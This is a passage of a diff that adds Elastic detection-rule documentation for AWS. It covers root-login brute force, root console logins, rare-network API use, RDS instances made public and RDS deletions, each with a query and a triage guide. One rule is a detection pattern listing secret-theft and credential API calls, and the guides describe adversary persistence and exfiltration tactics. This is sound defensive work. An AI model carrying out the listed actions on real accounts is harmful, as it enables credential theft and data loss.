https://attack.mitre.org/techniques/T1648/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-management-console-brute-force-of-root-user-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-management-console-brute-force-of-root-user-identity.asciidoc new file mode 100644 index 0000000000..029ca5ba5e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-management-console-brute-force-of-root-user-identity.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-21-aws-management-console-brute-force-of-root-user-identity]] +=== AWS Management Console Brute Force of Root User Identity + +Identifies a high number of failed authentication attempts to the AWS management console for the Root user identity. An adversary may attempt to brute force the password for the Root user identity, as it has complete access to all services and resources for the AWS account. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Management Console Brute Force of Root User Identity* + + +The AWS Management Console provides a web interface for managing AWS resources. Because the root user has unrestricted privileges, repeated failed console login attempts targeting this identity represent a high-risk credential access event. Even if no login succeeded, this activity may indicate reconnaissance, password spraying, or credential stuffing attempts targeting the root user. + +This rule uses a threshold rule that detects a high number of failed `ConsoleLogin` events (`event.outcom: failure` with `userIdentity.type: Root`) within a short timeframe from the same IP address or user agent. +Threshold rules only summarize grouped field values, so analysts must use timeline to review the actual events that triggered the alert. + + +*Possible investigation steps* + + +- **Review in Timeline.** + Open the alert and *Investigate in timeline* to view the individual CloudTrail events contributing to the threshold alert. Review: + - `source.ip`, `user_agent.original`, `geo fields` and `@timestamp` for each failure. + - Look for patterns such as distributed sources or repeated retries at consistent intervals. + - Look for any corresponding successful `ConsoleLogin` events around the same timeframe from the same IP or agent. + +- **Assess IP reputation and geolocation.** + Use IP intelligence tools to evaluate whether the source addresses belong to known cloud providers, TOR nodes, or foreign regions outside your normal operations. + - Correlate against `cloud.region` and `geo fields` and compare with expected login locations for your organization. + +- **Check for related activity.** + Review CloudTrail for other API calls from the same source IP (for example, `GetSessionToken`, `AssumeRole`, or `ListUsers`) that may indicate scripted credential testing or discovery. + +- **Correlate with GuardDuty findings.** + GuardDuty may raise complementary findings for anomalous console login behavior or brute force attempts. Review recent GuardDuty and AWS Config alerts for the same timeframe. + +- **Determine business context.** + Confirm whether the source IPs are internal (for example, corporate VPN, IT admin network) or part of legitimate red-team or third-party testing. If uncertain, treat as suspicious. + + +*False positive analysis* + + +- **Forgotten or mistyped credentials.** + Repeated failed logins from known internal IPs could indicate a legitimate user typing errors. Validate by checking if a successful root login followed soon after. +- **Automation or scanners.** + Misconfigured monitoring tools or old browser sessions attempting to reuse cached credentials may trigger this rule. +- **Planned penetration testing.** + Red-team or security testing activities can generate deliberate brute force attempts. Verify via ticketing or testing schedules. + + +*Response and remediation* + + +> The AWS Incident Response Playbooks classify root login attempts as Priority-1 credential compromise events. +> Follow these steps whether or not your organization has a formal IR team. + +**Immediate containment** +- **Check for success.** + After pivoting to Timeline, confirm whether any `ConsoleLogin` events from the same IP or user agent show `event.oucome: success`. + - If a successful login occurred, immediately follow the *AWS Management Console Root Login* rule investigation guide. +- **Rotate the root password.** + Use AWS’s password reset function to set a strong, unique password stored in an offline vault. +- **Enable or verify Multi-Factor Authentication (MFA)** on the root account. If MFA was already configured, review the device registration for changes or suspicious resets. +- **Block offending IPs or networks.** + Use AWS WAF, VPC network ACLs, or Security Groups to temporarily block the IPs used in the failed attempts. +- **Alert internal teams.** + Notify your security operations or cloud governance teams of the brute force pattern and actions taken. + +**Evidence preservation** +- Export all failed `ConsoleLogin` events visible in Timeline (±30 minutes around the alert window) to a restricted evidence bucket. +- Preserve GuardDuty findings, AWS Config history, and CloudTrail logs for the same timeframe for further analysis. + +**Scoping and investigation** +- Query CloudTrail across other AWS accounts and regions for additional failed or successful `ConsoleLogin` events from the same IPs. +- Check IAM activity for simultaneous key creation, role modifications, or new users — signs of lateral or parallel intrusion attempts. +- Review network telemetry (VPC Flow Logs, CloudFront, WAF) to determine whether the activity originated from a distributed or scripted attack pattern. + +**Recovery and hardening** +- Confirm MFA is enabled and enforced on the root account. +- Remove any root access keys (none should exist under normal security posture). +- Enable organization-wide CloudTrail, GuardDuty, and Security Hub across all regions. +- Set up real-time alerts for any future `ConsoleLogin` failures from the root user exceeding expected baselines. +- Store root credentials offline with dual-custody and document controlled access procedures. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/tree/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks[AWS IR Playbooks]:** See “Credential Compromise” and “Account Compromise” for investigation, containment, and escalation guidance. +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]:** Reference runbooks for failed-login response, evidence preservation, and MFA enforcement. +- **AWS Documentation:** https://docs.aws.amazon.com/general/latest/gr/root-vs-iam.html#aws_tasks-that-require-root[Tasks that require the root user]. +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and +event.provider:signin.amazonaws.com and +event.action:ConsoleLogin and +aws.cloudtrail.user_identity.type:Root and +event.outcome:failure + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-management-console-root-login.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-management-console-root-login.asciidoc new file mode 100644 index 0000000000..632a3e7e16 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-management-console-root-login.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-21-aws-management-console-root-login]] +=== AWS Management Console Root Login + +Identifies a successful login to the AWS Management Console by the Root user. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Tactic: Privilege Escalation + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Management Console Root Login* + + +The AWS root user is the original identity with unrestricted privileges over every resource in the account. Because it bypasses IAM boundaries and carries irreversible privileges, any successful root console login should be treated as a critical security event. AWS explicitly recommends locking away the root credentials and only using them for a small number of account-level administrative tasks (for example, closing an account, modifying support plans, or restoring MFA). See https://docs.aws.amazon.com/general/latest/gr/root-vs-iam.html#aws_tasks-that-require-root[Tasks that require the root user]. + +This rule detects a successful AWS Management Console login by the root user (`ConsoleLogin` events with `userIdentity.type: Root` and `event.outcome: Success`). + + +*Possible investigation steps* + + +- **Confirm legitimacy.** + Contact the designated root credential custodian or account owner to verify whether this login was expected and approved. Root access should only occur under documented change-control conditions. + +- **Review contextual event details.** + Examine the CloudTrail fields in the alert: + - `source.ip` – does it match known corporate IPs or expected admin VPNs? + - `user_agent.original` – browser or automation? + - `geo fields` – consistent with normal operations? + - `@timestamp` – within a planned maintenance window? + +- **Check for prior or subsequent root activity.** + Query CloudTrail for the last 30–90 days for any other root logins or root-initiated API calls. Multiple or recent root logins can indicate credential misuse. + +- **Correlate follow-on actions.** + Look for risky API calls immediately after the login, such as: + - `CreateUser`, `CreateAccessKey`, `AttachRolePolicy`, `PutBucketPolicy`, `UpdateAssumeRolePolicy`, `DeleteTrail`, or `StopLogging`. + These actions may indicate persistence or cover-up attempts. + +- **Cross-account verification.** + If the root user is federated through AWS Organizations or linked accounts, confirm no simultaneous logins occurred elsewhere. + + +*False positive analysis* + + +- **Planned administrative actions.** + Some rare maintenance tasks require root credentials (for example, payment method updates). If the login aligns with documented change control and was performed using MFA by the approved owner, the alert can be closed as benign. +- **Third-party managed account scenarios.** + Managed service providers may log in as root during onboarding or support activities. Confirm via ticketing or contractual documentation. + + +*Response and remediation* + + +**Immediate verification and containment** +- If the login was not authorized or cannot be confirmed quickly: + - Reset the root password using the AWS Management Console. + - Rotate or remove any root access keys (root keys should normally not exist). + - Ensure MFA is enabled and enforced on the root account. + - Notify your security operations or cloud governance team. + +**Evidence preservation** +- Export the alert’s CloudTrail record and all subsequent events for 1 hour after the login. + Store them in a restricted, immutable S3 evidence bucket. +- Retain related GuardDuty findings, AWS Config history, and CloudTrail logs for the same period. + +**Scope and investigation** +- Review additional events under the same `source.ip` to detect resource creation, IAM changes, or billing actions. +- Inspect newly created users, roles, or keys since the login time to identify potential persistence mechanisms. +- Check for any disabled or deleted CloudTrail trails, Security Hub findings suppression, or logging configuration changes. + +**Recovery and hardening** +- Confirm MFA is working and only the authorized owner can access the root credentials. +- Store root credentials in an offline vault under dual-custody control. +- Enable organization-wide CloudTrail, GuardDuty, and Security Hub across all regions. +- Implement policy and automation to alert on any future `userIdentity.type: Root` logins in real time. +- Conduct a short post-incident review to update root-access procedures and reinforce least-privilege IAM practices. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/tree/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks[AWS IR Playbooks]:** See “Account Compromise” and “Credential Compromise” playbooks for containment and recovery procedures. +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]:** Reference “Account Access Investigation” for evidence handling and credential rotation steps. +- **AWS Documentation:** https://docs.aws.amazon.com/general/latest/gr/root-vs-iam.html#aws_tasks-that-require-root[Tasks that require the root user]. +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and +event.provider:signin.amazonaws.com and +event.action:ConsoleLogin and +aws.cloudtrail.user_identity.type:Root and +event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rare-source-as-organization-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rare-source-as-organization-activity.asciidoc new file mode 100644 index 0000000000..7bd6398ec5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rare-source-as-organization-activity.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-21-aws-rare-source-as-organization-activity]] +=== AWS Rare Source AS Organization Activity + +Surfaces an AWS identity whose successful API traffic is dominated by a small set of large cloud-provider source AS organization labels, yet also shows a very small share of traffic from other AS organization names—including at least one sensitive control-plane, credential, storage, or model-invocation action on that uncommon network path with recent activity from the uncommon path. The intent is to highlight disproportionate “baseline” cloud egress versus sparse use from rarer networks on the same principal, a shape that can appear when automation or CI credentials are reused or pivoted outside their usual hosted-cloud footprint. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-7d ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Rare Source AS Organization Activity After High Cloud-Provider Volume* + + +The rule aggregates roughly seven days of successful CloudTrail per `user.name` and `aws.cloudtrail.user_identity.type`. +It expects a **high count** of events whose GeoIP AS organization matches a short allowlist of large cloud/SaaS providers, +**at least one** event from a different AS organization, a **low ratio** of uncommon-network events to all events, few +**distinct** uncommon AS labels, and **recent** uncommon-network timestamps. It further requires at least one +**sensitive** API from an uncommon network (see query `event.action` list). + + +*Possible investigation steps* + + +- Compare `Esql.src_asn_values` to `Esql.user_agent_values` and map each `source.ip` (from raw CloudTrail) to expected + admin paths, pipelines, or offices. +- Pivot on `user.name` and `aws.cloudtrail.user_identity.access_key_id` (from underlying events) for IAM, STS, S3, and + Secrets Manager activity around `Esql.most_recent_low_asn_day`. +- Confirm whether the identity is meant for automation only; if so, rare human ISP ASNs warrant higher scrutiny. +- Review `Esql.untrusted_suspicious_actions` for the mix of discovery versus privilege-changing APIs. + + +*False positive analysis* + + +- **Threshold sensitivity**: Raise `Esql.trusted_cloud_event_count` or Lower `Esql.rare_asn_ratio` and `Esql.untrusted_event_count` if legitimate rare-ASN + noise persists. +- **MongoDB / other allowlist labels**: Extend `is_trusted_cloud` if your approved automation consistently appears under + another legal-entity string. + + +*Response and remediation* + + +- If abuse is plausible: rotate credentials for the principal, enforce OIDC or short-lived keys for automation, and + tighten IAM and data-plane permissions. + + +*Additional information* + + +- https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-user-identity.html[CloudTrail user identity] + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* +| WHERE event.dataset == "aws.cloudtrail" + AND event.outcome == "success" + AND source.as.organization.name IS NOT NULL + AND user.name IS NOT NULL + +| EVAL is_trusted_cloud = CASE( + source.as.organization.name LIKE "Amazon*" OR + source.as.organization.name == "Google LLC" OR + source.as.organization.name == "Microsoft Corporation" OR + source.as.organization.name == "MongoDB, Inc.", + true, false + ) + +| EVAL is_suspicious_action = CASE( + event.action IN ( + "GetCallerIdentity", "GetAccountSummary", "ListAccountAliases", + "GetSecretValue", "ListSecrets", "DescribeSecret", + "GetParameter", "GetParameters", "GetParametersByPath", + "AssumeRole", "AssumeRoleWithWebIdentity", "AssumeRoleWithSAML", + "AttachUserPolicy", "AttachRolePolicy", + "PutUserPolicy", "PutRolePolicy", + "CreateAccessKey", "UpdateAccessKey", + "CreateUser", "CreateLoginProfile", + "UpdateLoginProfile", "AddUserToGroup", + "GetObject", "ListBuckets", "ListObjects", "ListObjectsV2", + "InvokeModel", "InvokeModelWithResponseStream", "Converse" + ), true, false + ) + +// Single aggregation — full event count preserved for ratio logic +// suspicious action tracking is additive on top +| STATS + Esql.total_events_all_asns = COUNT(*), + Esql.count_distinct_asns = COUNT_DISTINCT(source.as.organization.name), + Esql.src_asn_values = VALUES(source.as.organization.name), + Esql.user_agent_values = VALUES(user_agent.original), + Esql.related_users = VALUES(user.changes.name), + Esql.source_ip_values = VALUES(source.address), + Esql.has_trusted_cloud_asn = MAX(is_trusted_cloud), + Esql.trusted_cloud_event_count = SUM(CASE(is_trusted_cloud == true, 1, 0)), + Esql.untrusted_event_count = SUM(CASE(is_trusted_cloud == false, 1, 0)), + // Suspicious action visibility from untrusted ASNs — informational only, not a filter + Esql.untrusted_suspicious_count = SUM(CASE( + is_trusted_cloud == false AND is_suspicious_action == true, 1, 0 + )), + Esql.untrusted_suspicious_actions = VALUES(CASE( + is_trusted_cloud == false AND is_suspicious_action == true, + event.action, null + )), + Esql.most_recent_low_asn_day = MAX(CASE( + is_trusted_cloud == false, @timestamp, null + )) + BY user.name, aws.cloudtrail.user_identity.type + +| EVAL Esql.rare_asn_ratio = TO_DOUBLE(Esql.untrusted_event_count) / TO_DOUBLE(Esql.total_events_all_asns), + Esql.unique_action_from_untrusted_asn = MV_COUNT(Esql.untrusted_suspicious_actions) + +// Detection thresholds — unchanged, full event counts drive the logic +| WHERE Esql.has_trusted_cloud_asn == true + AND Esql.untrusted_event_count >= 1 + AND Esql.trusted_cloud_event_count >= 100 + AND Esql.rare_asn_ratio <= 0.01 + AND Esql.unique_action_from_untrusted_asn >= 2 + AND Esql.count_distinct_asns <= 5 + AND Esql.most_recent_low_asn_day >= NOW() - 1 hour + +| KEEP user.name, + aws.cloudtrail.user_identity.type, + Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-made-public.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-made-public.asciidoc new file mode 100644 index 0000000000..ec65b36c12 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-made-public.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-21-aws-rds-db-instance-made-public]] +=== AWS RDS DB Instance Made Public + +Identifies the creation or modification of an Amazon RDS DB instance or cluster where the "publiclyAccessible" attribute is set to "true". Publicly accessible RDS instances expose a network endpoint on the public internet, which may allow unauthorized access if combined with overly permissive security groups, weak authentication, or misconfigured IAM policies. Adversaries may enable public access on an existing instance, or create a new publicly accessible instance, to establish persistence, move data outside of controlled network boundaries, or bypass internal access controls. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBInstance.html +* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Overview.DBInstance.Modifying.html +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence#make-instance-publicly-accessible-rds-modifydbinstance +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc#rds-createdbinstance + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Instance Made Public* + + +This rule detects when an Amazon RDS DB instance or cluster is created or modified with +`publiclyAccessible=true`. While some environments operate publicly accessible RDS instances, +unexpected exposure of a database to the internet is a meaningful security risk. Adversaries who +gain access to AWS credentials may modify a DB instance’s public accessibility to exfiltrate data, +establish persistence, or bypass internal network restrictions. + + +*Possible Investigation Steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `access_key_id` to determine which IAM principal made the change. + - Determine whether the user, role, or automation service typically manages RDS configurations. + +- **Examine the request parameters** + - Review `aws.cloudtrail.request_parameters` for: + - `publiclyAccessible=true` + - DBInstanceIdentifier / DBClusterIdentifier + - Additional changes included in the same modification request (e.g., master user changes, security group updates) + +- **Validate the target resource** + - Determine the sensitivity of the instance: + - What data does it store? + - Is it production, staging, dev, or ephemeral? + - Confirm whether the instance was previously private. + +- **Assess network exposure** + - Check associated security groups for: + - `0.0.0.0/0` (unrestricted ingress) + - Unexpected IP ranges + - Review VPC/subnet placement to determine if the instance is reachable externally. + +- **Correlate with other recent CloudTrail activity** + - Look for related events performed by the same actor: + - `AuthorizeSecurityGroupIngress` + - `ModifyDBInstance` + - IAM policy modifications enabling broader DB access + - Look for indicators of credential misuse: + - unusual `source.ip` + - unusual `user_agent.original` + - MFA not used (`session_context.mfa_authenticated=false`) + +- **Validate intent with owners** + - Contact the service or database owner to confirm whether the change was an approved part of a deployment or migration. + + +*False Positive Analysis* + + +- **Expected public-access configuration** + - Some workloads intentionally require public access (e.g., internet-facing reporting tools). + - Validate against change management tickets, deployment pipelines, or Terraform/IaC automation logs. + + +*Response and Remediation* + + +- **Containment** + - If exposure is unauthorized: + - Modify the instance to disable public access (`publiclyAccessible=false`). + - Restrict the security group inbound rules immediately. + - Snapshot the instance to preserve state if compromise is suspected. + +- **Investigation** + - Review all recent actions from the same IAM principal. + - Check for data access patterns (CloudWatch, RDS Enhanced Monitoring, VPC Flow Logs). + - Identify whether this exposure correlates with suspicious outbound network activity. + +- **Hardening** + - Require private-only RDS instances unless explicitly documented. + - Enforce security group least privilege and block public DB access via: + - AWS Config rules (`rds-instance-public-access-check`) + - Service Control Policies (SCPs) preventing public RDS settings + - Implement continuous monitoring for network or configuration drift. + +- **Recovery** + - Restore the database to a private subnet if necessary. + - Rotate credentials used by the DB instance and associated applications. + - Document the incident and update policies or IaC templates to prevent recurrence. + + +*Additional Information:* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "rds.amazonaws.com" + and event.outcome == "success" + and ( + (event.action == "ModifyDBInstance" and stringContains(aws.cloudtrail.request_parameters, "publiclyAccessible=true")) + or + (event.action in ("CreateDBInstance", "CreateDBCluster") and stringContains(aws.cloudtrail.request_parameters, "publiclyAccessible=true")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-deleted.asciidoc new file mode 100644 index 0000000000..623731dd68 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-deleted.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-21-aws-rds-db-instance-or-cluster-deleted]] +=== AWS RDS DB Instance or Cluster Deleted + +Identifies the deletion of an Amazon RDS DB instance, Aurora cluster, or global database cluster. Deleting these resources permanently destroys stored data and can cause major service disruption. Adversaries with sufficient permissions may delete RDS resources to impede recovery, destroy evidence, or inflict operational impact on the environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBCluster.html +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteGlobalCluster.html +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBInstance.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Use Case: Asset Visibility +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Instance or Cluster Deleted* + + +This rule detects the deletion of an RDS DB instance, Aurora DB cluster, or global database cluster. These operations permanently remove stored data and backups unless final snapshots are explicitly retained. Adversaries may delete RDS resources as part of a destructive attack, to eliminate forensic evidence, or to disrupt critical workloads. Because deletions are irreversible without backups, immediate review is required to determine whether the action was authorized and assess potential data loss. + + +*Possible investigation steps* + + +**Identify the Actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who performed the action. +- Validate: + - Is this user/role authorized to delete DB instances or clusters? + - Does this action align with past behavior? + +**Review the Deletion Event** +- Confirm which action was invoked: `DeleteDBInstance`, `DeleteDBCluster` or `DeleteGlobalCluster` +- Examine `aws.cloudtrail.request_parameters`. Identify which resource was deleted and whether a final snapshot was created before deletion. + +**Analyze Source and Access Context** +- Check `source.ip`, `source.geo` fields and `user_agent.original` +- Validate whether: + - The request originated from a known network or VPN. + - The user normally logs in from this location. + - The call was made via AWS Console vs CLI vs SDK. + +**Correlate Surrounding Activity** +Search CloudTrail for: +- Recent IAM role or policy changes. +- Privilege escalation events (STS AssumeRole, CreateAccessKey, AttachUserPolicy). +- Disablement of related safety controls: + - deletionProtection modified to `false` + - backupRetentionPeriod set to `0` +- Suspicious sequencing: + - Snapshots deleted before the instance/cluster deletion. + - Network security group modifications enabling broader access before deletion. + +**Validate Organizational Intent** +- Contact the service owner or DB administrator to confirm whether the deletion is expected. + +**Assess Impact and Data Recovery Path** +- Identify which DB instance or cluster was deleted +- Evaluate: + - Whether automated backups existed. + - Whether point-in-time recovery is still possible. + - Whether a final snapshot was created. + + +*False positive analysis* + + +- **Planned decommissioning**: + - Confirm if this action aligns with a scheduled removal or environment cleanup. +- **CloudFormation stack deletion**: + - Stack teardown often deletes RDS resources; confirm if this occurred. +- **Automated testing or ephemeral environments**: + - Test/dev pipelines may frequently create and delete clusters. +- **Infrastructure-as-code workflows**: + - Terraform destroys or GitOps cleanup jobs can generate legitimate deletion events. + + +*Response and remediation* + + +**If the deletion was unauthorized:** +**Immediately restrict the actor** + - Disable or revoke the user’s access keys. + - Revoke active session tokens. + +**Attempt recovery** + - Restore from: + - Final snapshot (if created) + - Automated backups + - Rebuild cluster/instance configurations based on IaC or documented templates. + +**Perform full log review** + - CloudTrail, RDS Enhanced Monitoring, and VPC Flow Logs + - Identify lateral movement or privilege escalation preceding the deletion. + +**Scope and contain the incident** + - Determine whether: + - Additional RDS resources were targeted + - IAM permissions were modified + - Other destructive API calls were made + +**Hardening actions** + - Enable deletionProtection on all critical instances/clusters. + - Require final snapshot creation for all deletion operations. + - Enforce MFA for IAM users with RDS privileges. + - Limit RDS modification/deletion permissions to specific IAM roles. + +**Documentation and Follow-Up** + - Update incident response runbooks. + - Communicate with service owners and leadership. + - Add enhanced monitoring rules around: + - Snapshot deletions + - Backup retention modifications + - RDS role changes + - DeletionProtection disable events + + +*Additional information* + + +- 